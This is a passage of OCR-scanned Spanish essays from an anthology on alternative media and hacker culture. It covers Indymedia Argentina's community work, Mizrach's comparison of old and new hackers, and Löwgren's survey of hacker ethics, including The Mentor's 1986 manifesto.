ba y tocaba la foto, una larga cola se formaba para verla y no faltaron lagrimas
y los rezos sobre la imagen. Un fendmeno opuesto al de las Gltimas semanas
donde Dario habia sido retratado por los grandes medios como un violento que
habia atacado a la policia, o lo mostraban desangrandose, como parte de una
campafia de criminalizacion de la protesta sobre los movimientos populares”.4

Luego, eran las mismas organizaciones las que llamaban a compa-
fieros para pedir la presencia de Indymedia en diferentes acciones,
como tomas de terrenos, cortes de ruta, o tan solo para invitarlos a los
barrios y proyectar videos, armar muestras de fotos, talleres de prensa
o audiovisuales, como ocurrio durante el 2003. Ese afio concluy6 con el
armado de tres foto-montajes realizados en colaboracién entre gente de
los barrios e Indymedia, los cuales fueron exhibidos para el primer ani-
versario del asesinato de Dario Santillan y Maximiliano Kosteki en el
Puente Pueyrredon.

5.1) Redefiniciones de los modos de trabajo: “intervenir méas”

Indymedia Argentina no se queddé solamente con el formato
Internet. Es bien sabido que en esta parte del hemisferio muy pocas son
las posibilidades de acceder y manejar la herramienta Internet. “En la
Argentina el promedio de poblacidn con acceso a Internet (en forma
muy limitada) es de 3 millones de personas, en un pais con una pobla-
cion de 37 millones. Es evidente que el acceso a este medio no es masi-
v0.”5 Durante los tres afios se trabajé muy fuertemente para sacar
Indymedia de Internet, aunque claramente el sitio continu6 siendo un
elemento fundamental de comunicacion.

Indymedia se piensa a si misma como usina y laboratorio de comu-
nicacién. La dinamica y los usos de las nuevas tecnologias de comuni-
cacién, sobre todo de Internet, hicieron que las discusiones de
Indymedia Argentina pasaran por pensar cuél debia ser la utilidad de
un medio basado en Internet. En Argentina los limites son claros. Surgio
entonces la necesidad de plantear que, para que Indymedia Argentina

4. Idem.
5. Idem.
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lograra una real insercion en los sectores populares, se debia trabajar
por fuera de la pagina: organizando, por ejemplo, muestras de videos y
fotos itinerantes, proyecciones en los barrios y en centros sociales y cul-
turales, talleres de Internet, de periodismo y de educacién popular. Para
este colectivo siempre fue importante crear y profundizar los lazos con
las bases, porque de lo contrario, correria el riesgo de formar parte de
aquello que denunciaba.

6) Redefiniciones sobre fin de 2004: las redes

Lared, segun la conciben y la practican en Europa y Estados Unidos
—paises centrales que comenzaron a utilizarla—, surge como respuesta de
una organizacion fundada por grupos y colectivos que visualizaron la
importancia de los medios alternativos y, correlativamente/paralela-
mente, del rol central de la oligarquia de la informacién/entretenimien-
to en el capitalismo global. En forma lUcida, el movimiento antiglobali-
zacion, dice Dee Dee Halleck, considera a los medios corporativos como
parte integrante del problema. Para estos activistas —continla-, crear
nuevos modos de comunicacion es parte imprescindible de la respuesta
al neoliberalismo.

La red funciona segun un modelo de tipo rizomatico, es decir que
se van desarrollando en diferentes lugares del globo nodos de iguales
caracteristicas: no jerarquicos, descentralizados y auténomos. Este
modelo responde a las exigencias de auto-organizacion del trabajo vir-
tual segan un proceso igualitario y difusivo.6

La utopia de la red de Félix Guattari, filosofo francés que se dedicd
en su vejez a pensar las redes, ya advertia en los afios ‘80 que los pro-
gresos en la informatica tenderian a redes rizomaticas, relaciones bidi-
reccionales y multidireccionales entre colectivos de enunciacion
postmediética, que infectarian el sistema televisivo centralizado y sacu-
dirian y desestructurarian todas las formas de tipo estatal y de tipo eco-
némico.

Segun Bifo, esta utopia se encarné en la tecnologia, en la cultura, e
incluso en la empresa. En el transcurso de los ‘90 se desarrollé el rizo-

6. Franco Berardi, op. cit.
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ma, pero fue infiltrado por el virus de tipo centralizado, jerarquizador.
El uso de la publicidad, del business, de la television en la red fueron
aspectos de esta infiltracidn. Las redes existen y estan a disposicion no
solo de aquellos que creen en que esta forma de organizacién posibilita
la democratizacion radical, la descentralizacion de la informacion, la eli-
minacion de las jerarquias y la posibilidad de una nueva forma de orga-
nizacion global que luche para el cambio social, sino que también el
enemigo es usuario y propagador de redes que alimentan el sistema.
Bifo entonces lo plantea como una guerra entre dos paradigmas: “es la
guerra entre el dominio y la libertad (...) en este sentido la utopia de
Guattari parece cada dia desmentida y reafirmada por la perpetua dina-
mica del dominio y la libertad”.”

En Latinoamérica las redes que se construyen son bien difusas.
Hablar del concepto de red, en el sentido que se propone el concepto de
red primermundista, todavia es abordar la problemética casi a tientas.
La participacién en la red de redes de Indymedia global, fue y sigue
siendo un aprendizaje cotidiano. Indymedia Argentina fue el nombre
del colectivo Buenos Aires durante més de 2 afios, el cual editorializaba
y pretendia reflejar una realidad acabada del “pais”. Luego de la apari-
cion de Rosario en julio de 2002, de la emergencia de tematicas especifi-
cas como es el caso de la de Pueblos Originarios en agosto de 2002 y, ya
para mediados de 2003, con la aparicion de gente interesada en armar
Indymedia en Santiago del Estero y La Plata (que nace recién en enero
de 2004 luego de hacer un proceso), Indymedia Buenos Aires cede el
lugar de pagina central y se convierte en una seccion territorial de la
lista de secciones.

A partir de entonces hay una idea que recorre a todos los colectivos
gue empiezan a formar parte de lo que se denomina “red Argentina” en
darle lugar a los diferentes colectivos, grupos, individuos de realizar
tareas especificas.

Un ejemplo es el recién surgido colectivo de Medio Ambiente. Este,
se concreta con el llamado a grupos, colectivos e individuos interesados
en la editorializacion de la seccidn. Entonces se suman a la red no s6lo
individuos interesados en el proyecto de contrainformacion, sino tam-

7. Idem.
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bién colectivos que trabajan la tematica especifica y que no encuentran
por ninguna otra via la posibilidad que les brinda la herramienta
Indymedia para la difusion de la misma. El ejemplo es fractal, ya que es
posible que este colectivo comience a publicar y encuentre otros seme-
jantes que hacen lo mismo dentro del pais, luego de la regién y luego a
nivel global; y que formen parte de otras organizaciones que estan en
constante movimiento y que necesiten a la comunicacién alternativa
como medio para difundir y enriquecer el espectro de tematico. Lo
mismo vale para Pueblos Originarios, Género, Contracultura o Video.

Indymedia en Argentina esta tendiendo, cada vez mas, a convertir-
se realmente en una herramienta utilizada por miles de personas, que
cada dia encuentran en el sitio un lugar con informacién que permite
dar a conocer las luchas cotidianas cada vez més localmente y con emi-
sores cada vez més locales.
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5. HACKERS



Steve Mizrach es antropologo. Investiga

y ensefia en la Universidad de Florida,
EE.UU. Escribe sobre temas como “cibercul-
tura” y “frontera electrénica” (junto a otros
tan inciertos como el “fenébmeno ovni”).

ste articulo es una mirada retrospectiva de

la “cultura hacker”, descripta a partir de
los nuevos estilos de hackers que aparecie-
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Viejos hackers, nuevos hackers:
;son distintos?*

Steve Mizrach (seekerl)

Aparentemente, para la gente enamorada de la “vieja escuela” de
hackers, como Steven Levy o Clifford Stoll, hay una gran diferencia. De
hecho, no les perdonan a los hackers del “viejo estilo”” del MIT/Stanford
que se hayan dejado ganar en los medios su honorable titulo a manos de
“esa gente”... para muchas personas, “hacker” quiere decir una clase de
personas de los ‘60, cierta “estirpe” de programadores que lanzé la
“revolucion informaética”, pero que parece que no anda mas por esta
zona... de acuerdo a estos hackers de la “vieja escuela”, “hackear” sig-
nificaba voluntad de hacer accesible y abierta la tecnologia, cierto amor
por la computadora que significaba que “preferian programar en vez de
dormir”. Significaba un deseo de crear belleza con las computadoras, de
liberar la informacidn, de descentralizar el acceso a la comunicacion...

Pero, {qué pasa con los nuevos “hackers”? Muchos de los “viejos”
hackers piensan que no merecen ese nombre, y prefieren llamarlos “cri-
minales informaticos”, “vandalos”, “crackers”, o golpeando bajo y
desde un sesgo generacional, “delincuentes juveniles”. Los medios usan
el término “hacker” para referirse a jovenes talentosos, usuarios de
computadoras que usan sus modems para entrar sin autorizacién a
otros sistemas, muy parecido a como se describe en la pelicula Juegos de
Guerra. Y a los hackers de la vieja escuela esto les molesta. La mayoria
de los hackers nuevos no saben programar; sélo son personas sin ética
gue no tienen problemas en robar passwords, cédigos, software u otra
informacion e intercambiarla con sus amigos. Podran ser buenos explo-
tando las fallas de seguridad de los sistemas, pero lo Unico que logran

*“0Old hackers, new hackers: What's the difference?”. Traduccién de Carlos Gradin.

[127]
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(dicen algunos como Stoll) es destruir la confianza sobre la cual se cons-
truyen las redes abiertas.

Me interesa, no necesito decirlo, el aspecto generacional de esta
batalla por el titulo de “hacker”. La mayoria de los viejos hackers de los
‘60 viven, desde ya, en los ‘90 —“Baby Boomers” que, cOmo sus amigos ex-
hippies, pasaron de “freaks” a personas serias, consiguiendo empleo en
empresas de seguridad informética y megaindustrias del software. Y
como tantos que provienen de la contracultura, simplemente no entien-
den que esta Generacién X sea la contracultura de los ‘90... ;donde
quedé la apertura? el idealismo? Estos “delincuentes juveniles” no
viven segun los altos standars morales de los nostalgicos de los ‘60 como
Levy y Stoll. Aunque, al fin y al cabo, Levy vocifera sobre aquellos gran-
des hackers que fundaron Apple Computersy lanzaron la revolucién de
la PC —jesos mismos ex-“phreakers”,1 Job y Wozniak, que de hecho per-
mitieron que su empresa sacara patentes de sus sistemas de hardware y
software!

Los “cyberpunks” de los ‘90, parece, no cumplen con lo que espe-
ran de ellos gente como Stoll y Levy. Y todos los viejos “hackers” hacen
malabares para marcar sus diferencias con la nueva camada de
“hackers”, quejandose cuando se les sigue aplicando el titulo. Yo sos-
tendria que los hackers de los ‘90 no son tan distintos de los hackers de
los “60, que, de hecho, trabajan con los mismos impulsos exploratorios,
anti-autoritarios, liberadores; ocurre simplemente que los hackers de los
‘60 no comprenden la situacidn en que vivimos, y esto probablemente
es porque leen literatura hippie de los ‘60 en vez de ciencia ficcion
cyberpunk de los ‘90... no comprenden por qué el nuevo “hacker” actia
como actla.

Para Levy, las diferencias entre los viejos y nuevos hackers son
grandes y evidentes. El primer grupo competia por crear, el segundo
compite por destruir y robar. El primer grupo amaba el control que
tenia sobre sus computadoras, el segundo grupo ama el control que las
computadoras les proporcionan sobre las personas. El primer grupo
siempre buscd mejorar y simplificar; el segundo grupo sélo se aprove-

1. En “phreakers” se combinan tres términos: “phone” (teléfono), “freak” (mons-
truo, criatura extrafia) y “hacker”. Se refiere a hackers que se especializan en telé-
fonos y comunicaciones. (N. del T.)



VIEJOS HACKERS, NUEVOS HACKERS: (SON DISTINTOS? 129

cha y manipula. El primer grupo hacia lo que hacia por un sentimiento
de verdad y belleza que hallaban en la actividad; el segundo grupo
“hackea” por beneficios y status. El primer grupo era comunitario y
muy unido, compartia siempre de manera abierta sus nuevas “hackea-
das” y descubrimientos; el segundo, dice Levy, es paranoico, margina-
do y se mueve en secreto. Para Levy, los viejos hackers eran magos de
las computadoras, pero los nuevos hackers son terroristas informaticos
en busca de nuevas formas de vandalismo electrénico o de bromas
maliciosas, que no se fijan en las consecuencias.

Pero donde Levy ve diferencias, yo veo algunas semejanzas. Los
viejos hackers “a la antigua” del MIT eran bastante famosos por andar
manipulando cerraduras, en sus versiones tanto fisicas como electréni-
cas. ¢(Hay tanta diferencia entre la justa ira del hacker del MIT contra los
“sacerdotes” de IBM que lo mantenian alejado de las grandes centrales
[mainframes], y el hacker de los ‘90 que siente justa ira porque se le niega
el acceso a grandes bases de datos comerciales sin una costosa suscrip-
cion? Los antiguos hackers del MIT eran famosos también por su explo-
racion del sistema telefnico, y por buscar trucos para hacer llamadas
gratuitas a lugares extrafios. De hecho, muchos de los primeros hackers
eran “phreakers” telefonicos, asi de simple: se colaban en el sistema de
la companiia de teléfonos (“La” compafiia, AT&T, alias Ma Bell en ese
entonces) y se ofendian porque ésta se negaba a compartir informacion
técnica sobre telefonia.

Los hackers de los ‘60 eran famosos por su deseo de liberar la infor-
macion. Compartian abiertamente los codigos fuentes de sus progra-
mas; los miembros del Homebrew Computer Club [Club de Computado-
ras Caseras] también compartian las fallas de distintas computadoras, y
“trucos” para mejorar sus rendimientos. Como Levy parece pensar que
la pirateria de programas no deberia ser un delito (dado que piensa que
el cédigo fuente no deberia tener copyright), su problema con los nue-
vos “hackers” no es la pirateria. Ni parece ser el hecho de que compar-
tan libremente cierta informacion del “mundo real” ciertamente peli-
grosa como el “Manual del Anarquista” sobre cémo hacer bombas y
drogas. Mas bien, parece referirse a los delitos maliciosos de una mino-
ria pequefia, dedicada a desparramar Troyanos, bombas ldgicas, virus,
gusanos y otros programas destructivos...

En la actualidad la mayoria de los virus (como el virus Christmas)
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son inofensivos. Ocupan porciones minimas de la memoria, y estan pro-
gramados no para borrar el disco rigido, sino para mostrar un mensaje
en un momento dado. Son “sutilezas” —algo que Levy dice que también
entusiasmaba a los hackers del MIT. Ellos se hicieron conocidos por rea-
lizar complejas bromas a otros, y eran maestros de la “ingenieria social”
—el arte de manipular tecndcratas siendo un artista del engafio- igual
gue los hackers de los “90... sus elaborados juegos y “sutilezas” muchas
veces son maneras de demostrar su superioridad ante profesores, ope-
radores y otros “sabelotodos” de los que sienten que se interponen en
su acceso a las computadoras...

Al “invadir” los sistemas telefénicos de “correo de voz” de las
empresas, los hackers de los ‘90 no son disintos de los hackers del MIT
de los ‘60 que mapeaban el laberinto del sistema de tineles del subsue-
lo del MIT. Lo hacen por los mismos motivos: porgue les dicen que no
lo hagan, porque los taneles muchas veces llevan a lugares sorprenden-
tes; porque la actividad es inofensiva incluso aunque se la declare no
permitida o incluso ilegal, y porque les brinda un sentimiento de des-
treza'y dominio sobre un problema complejo. La verdad es que la mayo-
ria de los hackers de los ‘90 no son destructivos ni perversos descontro-
lados. De hecho, muchos suscriben a una Etica Hacker actualizada en
los *90, que sostiene que no van a “hackear” la privacidad de las perso-
nas ni a los usuarios de computadoras personales, declarando en cam-
bio que sus “objetivos” seran las corporaciones grandes e irresponsables
o las organizaciones burocraticas de los gobiernos...

Pero la razon basica de la diferencia entre los hackers de los ‘60 y los
‘90 es que éstos de la Generacidon X son una generacién “post-punk”, de
ahi el término “cyberpunk”. Su musica es un poco mas rabiosa, y menos
idealista. Han visto morir al rock n” roll, y vieron a Michael Bolton y
Whitney Houston tratar de revivir al muerto. Su mundo es un poco mas
multicultural y complejo, y menos blanco-y-negro. Y es un mundo en el
que, si bien las computadoras pueden usarse para crear belleza, también
estan usandose para destruir libertades y autonomia... por eso el con-
trol sobre las computadoras es un acto de defensa propia, no de simple
ansia de poder. El “hacking”, para algunos de los nuevos “hackers”, es
mas que so6lo un juego, o un medio de conseguir cosas sin pagar. Como
con la generacion anterior, se ha convertido en un modo de vida, una
manera de definirse a si mismos como sub-cultura...
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Muchos de ellos son deliberadamente “no-violentos” en sus ambi-
ciones. No van a impedirles a otros el acceso a sus cuentas, dafiar o cam-
biar datos sin permiso, o hacer cualquier cosa que arriesgue el funcio-
namiento del sistema. En cambio, entran a sistemas informaticos para 1)
pasear y ver qué encuentran (¢;si alguien se mete en tu casa, mira los afi-
ches de tu pared, después cierra la puerta y se va, cometié un crimen?)
2) ver a dénde pueden llegar desde donde estan (,qué conexiones se
pueden hacer?) 3) sacar ventaja de cualquier capacidad Unica de la
maquina a la que han accedido. Los hackers del MIT hacian todas estas
cosas y mas con los diversos mainframes que se les “prohibia” usar y
explorar... cuestionaron el derecho de los tecndcratas a limitarles el
acceso, y abiertamente cuestionaron sus arbitrarias restricciones basa-
das en célculos de rendimiento y tiempo de uso.

De hecho, los hackers de los ‘90 le rinden homenaje a la primera
generacion. Adoptaron mucho de su argot y ciertamente muchas de sus
ideas. Su modus operandi, la PC, no estaria disponible para ellos sino
fuera porque los hackers de los ‘60 desafiaron el modelo de computa-
dora corporativa de IBM e hicieron realidad las computadoras persona-
les... su estilo, el uso de pseuddénimos, su amor por la trasnoche y la
comida chatarra, son testimonios de la durabilidad y transmision de la
cultura hacker de los ‘60. Entonces, (por qué son tan antagonistas y
agresivos con los nuevos hackers de los ‘90 los bidgrafos de los hackers
de los ‘60? ¢Sienten alguna especie de traicion a la Etica Hacker original
y a sus imperativos? ;Es s6lo la negativa clasica a pasarle la antorcha a
una nueva generacién?

Meterse en el nodo principal de una red UNIX o en el sistema admi-
nistrador de una red VAX requiere pensamiento agil y programacién
compleja. Suele requerir conocimientos de los diversos “baches” del sis-
tema y de trucos astutos que pueden realizarse con su codigo. Suele
requerir maneras poco ortodoxas de usar los programas. En suma,
requiere “hackear” en el mejor y méas antiguo sentido del término. Al
hacerlo, muchos hackers de los ‘90 buscan ampliar sus conocimientos
sobre un sistema y sus posibilidades, no sabotear los esfuerzos de otros
o arruinar su funcionamiento. Los “phreakers”, al “hackear” el sistema
telefénico, participan de la tradicidn de varios siglos de activistas norte-
americanos que siempre desafiaron los modos en que las corporaciones
y las agencias gubernamentales impiden que las personas se asocien
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libremente... desafian la nocién de que “tender la mano y encontrar a
alguien” debe ser un privilegio costoso en lugar de un derecho.

Algun dia, los viejos “hackers” y los nuevos quizéas se encuentren y
discutan lo que tienen en comun, en lugar de las diferencias. Quizas se
den cuenta de que comparten una misma alienacion respecto del siste-
ma actual. Podrian hallar que tienen principios y motivaciones comu-
nes. Mas importante, podrian dejar de competir entre si por una inves-
tidura o un titulo. Los viejos hackers podrian analizar los modos en los
gue fracasé su vision contracultural en dar cuenta de las nuevas reali-
dades, y podrian aportar un sentido de lo colectivo a los nuevos
hackers, muchas veces trepadores y amantes del estrellato. Si efectiva-
mente trabajaran juntos, esto podria implicar aquello que Bruce Sterling
llama “el Fin de los Amateurs”. ¢Y el inicio de la “Revoluciéon
Informatica™?
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Cultura(s) hacker*
Jonas Lowgren

Introducciéon

El titulo de esta charla es “Cultura(s) hacker”, no “Cultura hacker”.
Como veremos, el cuadro es bastante complejo. Tan complejo, quizas,
como para hablar de culturas en lugar de cultura.

Por otra parte, los rasgos comunes que comparten los miembros de
la(s) cultura(s) hacker y sus comunidades son bastante claros y marca-
dos.

Las siguientes paginas proveen notas para la charla, en un intento
de captar la heterogeneidad de la(s) cultura(s) hacker asi como sus ras-
gos comunes. Pero primero, ¢como se define el término “hacker”?

hacker /s./

[originalmente, alguien que fabrica muebles con un hacha] 1. Per-
sona que disfruta explorando los detalles de los sistemas programables
y cdmo expandir sus capacidades, en oposicién a la mayoria de los
usuarios, que prefieren aprender lo minimo necesario. 2. Persona que
programa entusiastamente (incluso obsesivamente) o que disfruta de
programar antes que limitarse a teorizar sobre la programacion. 3. Una
persona capaz de apreciar el valor de una “hackeada”. 4. Una persona
que es diestra programando a gran velocidad. 5. Un experto en un pro-
grama particular, o alguien que trabaja frecuentemente con él o hacién-
dole modificaciones; tal como en “un hacker de Unix”. (Las definicio-
nes 1 a5 son correlativas, y la gente que participa de ellas tiende a con-
gregarse.) 6. Un experto o entusiasta de cualquier tipo. Alguien puede

* “Hacker’s culture(s)”. Traduccion de Carlos Gradin.
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ser un hacker astronomo, por ejemplo. 7. Alguien que disfruta con el
desafio intelectual de superar o evitar creativamente las limitaciones. 8.
(con valor despectivo) Un merodeador malicioso que trata de descubrir
informacion valiosa revisando sitios privados. (ej. “hacker de
passwords”, “hacker de redes”). El término correcto para esta acepcion
es cracker.

El término “hacker” también tiende a connotar pertenencia a la
comunidad global definida por la red. También implica que la persona
descripta subscribe, en principio, a alguna version de la ética hacker.

Es mejor ser descrito por otros como hacker que describirse asi uno
mismo. Los hackers se consideran a si mismos una especie de elite (una
meritocracia basada en la destreza), aunque es una elite en la que los
nuevos miembros son alegremente recibidos. Hay por lo tanto cierta
satisfaccion del ego en que uno sea identificado como hacker; pero si
usted afirma ser uno y no lo es, sera rapidamente catalogado como
fraude [bogus].

New Hacker’s Dictionary, editado por Eric S. Raymond.1

Etica hacker tradicional

Una manera de caracterizar los rasgos comunes de la(s) cultura(s)
hacker es describir una plataforma ética compartida. La ética hacker fue
resumida en su forma mas influyente por Stephen Levy en Hackers:
Heroes of the Computer Revolution (New York, Bantam books, 1984).
Desde entonces fue citada y difundida extensamente.

1. El acceso a las computadoras -y a cualquier cosa que pueda ensefiar-
te algo acerca de cdmo funciona el mundo- debe ser ilimitado y total.
iSiempre apégate al imperativo manos a la obra!

El “imperativo manos a la obra” se interpreta generalmente tanto
técnica como socialmente. Si td quieres que el editor de un texto intere-
sante ofrezca una version WAP para leer (on-line), por ejemplo, no le
reclames al editor. Aprende XML, escribe tu propio convertidor y publi-

1. http://www.hack.gr/jargon/ (hay version en papel: The New Hacker’s Dictionary.
Cambridge, MIT Press, 1996). (N. del. E.)
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calo para que otros lo usen y lo mejoren (en el espiritu de la informacion
libre, méas abajo).

De igual manera, si tu quieres cambios en la sociedad, no te quejes,
actta. Una interpretacion fuerte podria apuntar al activismo politico
mas alla de los limites de la ley publica.

2. Toda informacioén debe ser libre.

Una analogia cercana podria ser la posicion del cacique indio Toro
Sentado respecto a la colonizacion del continente norteamericano: “La
tierra no puede tener duefios”.

La idea de la informacion libre va en contra de la mayoria de las
concepciones de copyright y software propietario. Un buen ejemplo es
la politica de copyleft de la Fundacion Software Libre [Free Software
Foundation]. El siguiente extracto esta tomado de la introduccion a la
(muy detallada) Licencia Publica General de GNU [General Public
License, GNU-GPL], version 2, 1991.

Las licencias para la mayor parte del software estan disefiadas para
arrebatar su libertad de compartirlo y modificarlo. Por el contrario, la
Licencia Publica General GNU esta destinada a garantizar su libertad
de compartir y modificar el software libre, garantizar que el software
sea libre para todos los que lo usen. Esta Licencia Publica General com-
prende a la mayor parte del software de la Fundacion Software Libre y
a cualquier otro programa cuyos autores se decidan a emplearla.
(Algunos otros programas de la Fundacién Software Libre subscriben,
en cambio, a la Licencia Publica General de la Biblioteca GNU [GNU
Library General Public License]. Ud. también puede subscribir a ella sus
programas.

Existen sutiles diferencias entre el software libre y el concepto, mas
difundido actualmente, de cédigo abierto. El software libre en la version
de Richard Stallman es una vision profunda sobre la libertad, la comu-
nidad, la cooperacion y la emancipacién en la sociedad ideal. El c6digo
abierto se concentra mas en la eficiencia y la co-existencia con modelos
contemporaneos de negocios. Sin embargo, ambos pueden coexistir: lo
que hoy se conoce como Linux deberia llamarse, si queremos ser estric-
tos, GNU/Linux, dado que gran parte del software incluido en la distri-
bucion de Linux proviene del proyecto GNU.
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3. Desconfia de la autoridad —promueve la descentralizacion.

Un tema que atraviesa las culturas hacker es el de discutir en base
a fuentes primarias: hechos e informacion que deben estar accesibles de
manera igualitaria. La autoridad en este contexto se asocia con sustituir
el poder por informacion.

Un ejemplo reciente es el debate concerniente a los documentos
secretos de La Iglesia de Cientologia. Cuando algunos de los documen-
tos fueron entregados al dominio publico al formar parte de un caso lle-
vado a juicio en EE.UU., fueron inmediatamente copiados y difundidos
en miles de sitios en Internet. Mayormente por hackers o personas vin-
culadas a la(s) cultura(s) hacker.

Operation Clambake (http://www.xenu.com/) es un gran sitio de
Noruega dedicado a echar tanta luz como sea posible sobre La Iglesia de
Cientologia. En la presentacién se afirma:

La Iglesia de Cientologia esta utilizando las leyes de copyright para
rehusar informacién al publico. (Estdn haciendo esto por motivos
honestos o deshonestos? En caso de duda hay una manera de averi-
guarlo. Esta es, publicar su material. No extractos sino en algunos casos
su versién completa, para que no pueda discutirse que se cita fuera de
contexto o se mal interpreta lo que esta escrito.

Yo, Andreas Heldal-Lund, he revisado los materiales secretos de la
Cientologia y luego de cuidadosa consideracion llegué a la conclusion
de que estos materiales son mantenidos en secreto con el fin de rehusar
informacidn al publico con el solo propésito de engafarlo acerca de la
verdadera naturaleza de la Cientologia. Mi conviccion es que el conte-
nido de este material reivindicara claramente mis acciones.

4. Los hackers deben ser juzgados por sus acciones, no por falsos crite-
rios como titulos, edad, raza o posicién.

Las culturas hacker son meritocracias donde las posiciones se basan
en el conocimiento y los logros demostrados. Esto queda bien ilustrado
en el texto que sigue, aparecido en Phrack,2 nUmero 7
(http://www.phrack.org/phrack/7/P07-03):

2. Publicacion digital de hacking/phreaking/cracking editada desde 1985. En ella
participaron muchos de los hackers mas famosos de EE.UU. (N. del T.)
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Lo que sigue fue escrito poco después de mi arresto...

\/\La consciencia de un Hacker\/\
por +++The Mentor+++
Escrito el 8 de enero de 1986

Hoy atraparon a otro, esta todo en los diarios. “Adolescente arresta-
do en Escandalo de Crimen Informatico”, “Hacker arrestado luego de
Violar Banco™...

Malditos pibes. Son todos iguales.

Pero vos, con tu psicologia barata y tus tecno-visiones de la década
del ‘50, ¢alguna vez miraste tras los ojos del hacker? ;Alguna vez te
preguntaste qué lo hacia funcionar, qué fuerzas le dieron forma, qué
pudo moldearlo?

Yo soy un hacker, entra en mi mundo...

Mi mundo empieza en la escuela... Soy mas inteligente que la mayo-
ria de los otros chicos, esta basura que nos ensefian me aburre... Malas
notas: maldito pibe. Son todos iguales.

Estoy en el secundario. Ya escuché por decimoquinta vez a los pro-
fesores explicar cémo reducir una fraccién. Lo entiendo. “No, Giménez,
no le muestro mi trabajo. Lo hice mentalmente...”. Maldito pibe.
Seguro se lo copid. Son todos iguales.

Hoy descubri algo. Encontré una computadora. Para un minuto,
esto esta bueno. Hace lo que yo quiero que haga. Si comete un error es
porque yo me equivoqué.

No porque no le caiga bien...

O se sienta amenazada por mi...

O piense que me la creo...

O no le guste dar clases y no tendria que estar aqui...

Maldito pibe. Se la pasa con los jueguitos. Son todos iguales.

Y entonces, sucedi6... una puerta abrié a un mundo... corriendo por
la linea de teléfono como heroina por las venas de un adicto, un pulso
electronico es emitido, tras un refugio de la incompetencia diaria...
alguien encuentra un BBS.3

3. BBS (Bulletin Board System): una computadora conectada a una linea de teléfono,
que sirve como lugar de encuentro para intercambiar mensajes y archivos entre
varios usuarios; de ahi su nombre, “buletin board” o “panel de mensajes”. Era la
forma de comunicacion mas extendida entre computadoras antes de internet.
Muchos grupos de hackers funcionaban en torno a estos BBS. (N. del T.)



140

JONAS LOWGREN

“Esto es... aca pertenezco...”

Conozco a todos... incluso si nunca me los crucé, nunca les hablé, y
nunca vuelva a oir hablar de ellos... Los conozco...

Maldito pibe. Otra vez ocupando la linea de teléfono. Son todos
iguales...

Podés apostar el culo a que somos todos iguales... nos dieron de
comer papilla para bebés en la escuela cuando teniamos hambre de
carne... los pedazos que se les escaparon estaban pre-masticados y no
tenian sabor. Fuimos dominados por sadicos, o ignorados por apaticos.
Los pocos que tenian algo para ensefiarnos se encontraron con alumnos
entusiastas, pero esos pocos son como gotas de agua en el desierto.

Ahora este es nuestro mundo... el mundo del interruptor y el elec-
tron, la belleza del baudio. Usamos un servicio que ya existia, sin pagar
por lo que no costaria casi nada si no estuviera en manos de glotones
avidos de ganancias, y ustedes nos llaman criminales. Exploramos... y
ustedes nos llaman criminales. Buscamos conocimiento... y ustedes nos
llaman criminales. Existimos sin criterios de color, nacionalidad o reli-
gion... y ustedes nos llaman criminales. Ustedes fabrican bombas ato-
micas, organizan guerras, asesinan, manipulan y nos mienten para
hacernos creer que es por nuestro bien, y sin embargo nosotros somos
los criminales.

Si, yo soy un criminal. Mi crimen es la curiosidad. Mi crimen es juz-
gar a las personas por lo que dicen y piensan, no por su aspecto. Mi cri-
men es superarlos en astucia, algo por lo que nunca me van a perdonar.

Soy un hacker, y este es mi manifiesto. Pueden detener a un indivi-
duo, pero no nos pueden detener a todos... al fin y al cabo, somos todos
iguales.

5. Se pueden crear arte y belleza con una computadora.

6. Las computadoras pueden cambiar la vida para mejor.

Las ultimas dos lineas de la ética tradicional quizas no sorprendan

en la actualidad. Deben entenderse en su contexto historico. En los ‘70
las computadoras eran extrafias y poco cercanas para la mayoria de las
personas. En caso de que significaran algo, se asociaban con procesa-
miento de datos administrativos, centros de computos, tarjetas perfora-
das y teletipos. Arte, belleza y cambios en la vida no se vinculaban con
la nocidn general de computadora.
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Nueva ética hacker

Steve Mizrach, del Departamento de Antropologia de la
Universidad de Florida, analiz6 varios textos recientes de hackers en el
trabajo “Is there a hacker ethic for 90s hackers?” [¢Existe una ética de los
hackers de los ‘907] (1997). Mizrach resume sus conclusiones en un
nuevo conjunto de principios éticos.

Primero, no hagas dafio.

No dafies computadoras o informacion si eso es posible. Similar a la
idea basica del Juramento Hipocratico.

El “hacking” es una busqueda de conocimiento; no hay necesidad
intrinseca o deseo de destruir. Pero se asume en general que “crackear”
sistemas por diversién y para explorar es éticamente correcto mientras
el cracker no cometa robos, vandalismo, o vulnere la confidencialidad.
Sin embargo, ciertos accidentes e intrusiones que para los hackers pue-
den ser inofensivos pueden hacer que la victima pierda tiempo y esfuer-
zo.

Protege la privacidad.

Esto estd en consonancia con el ethos de la informacion libre al sepa-
rar la informacion publica de la privada. Por dénde se traza la linea es,
por supuesto, cuestion de vision personal (y politica).

No derroches.

Los recursos informaticos no deben permanecer inactivos y des-
aprovechados. Utilizar recursos desaprovechados y quizés dejar suge-
rencias para mejorar su rendimiento esta bien visto como favor.

Excede las limitaciones.

Para un hacker, decirle que algo no se puede hacer, se convierte en un
imperativo moral para intentarlo.

El imperativo comunicacional.

Comunicarse y asociarse con pares es un derecho humano funda-
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mental. Para algunos importa tanto como para motivar violaciones de
leyes y regulaciones.

No dejes huellas.

No exhibirse en los lugares “hackeados” es Gtil mas alla de la pro-
pia seguridad. También ayuda a otros hackers a evitar ser atrapados o
perder el acceso.

jComparte!

La informacion incrementa su valor al compartirse con otras perso-
nas. Los datos pueden ser una base de aprendizaje para algun otro; el
software puede mejorarse colectivamente.

Combate la ciber-tirania.

El “hacking” es necesario para ayudar a proteger el mundo de des-
arrollos distépicos de sistemas globales de informacién a la 1984.

Confia, pero mantente alerta.

Siguiendo el imperativo de manos a la obra en sistemas técnicos y
sociales, tus descubrimientos pueden contribuir a mejorar los sistemas.

Origenes de la(s) cultura(s) hacker

Habria al menos tres lineas de antecedentes que conducen a lo que
llamamos las actuales culturas hacker. Se trata de los aficionados
[hobbyists], los académicos [academics] y los ocupantes de las redes
[networkers].

El “hacking” como hobby se origin6 con los radioaficionados tem-
prano, en la década del ‘20. Un fuerte interés en la electronica proveyé
el terreno fértil para las primeras computadoras hogarefias, como la
Altair 8800. Suecia tuvo desde temprano su flamante linea casera: la
ABCB80 en 1978, seguida de la ABC800 en 1981.

Algunas de las computadoras hogarefias se vendian como Kits para
armar, nutriendo la tradicion de auténtico conocimiento de la tecnolo-
gia.

Computadoras para el hogar como la Commodore 64, que ofrecian
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gréaficos a color y audio de calidad, atrajeron a amantes de los juegos y
programadores. “Crackear”4 la proteccién contra copia de los juegos se
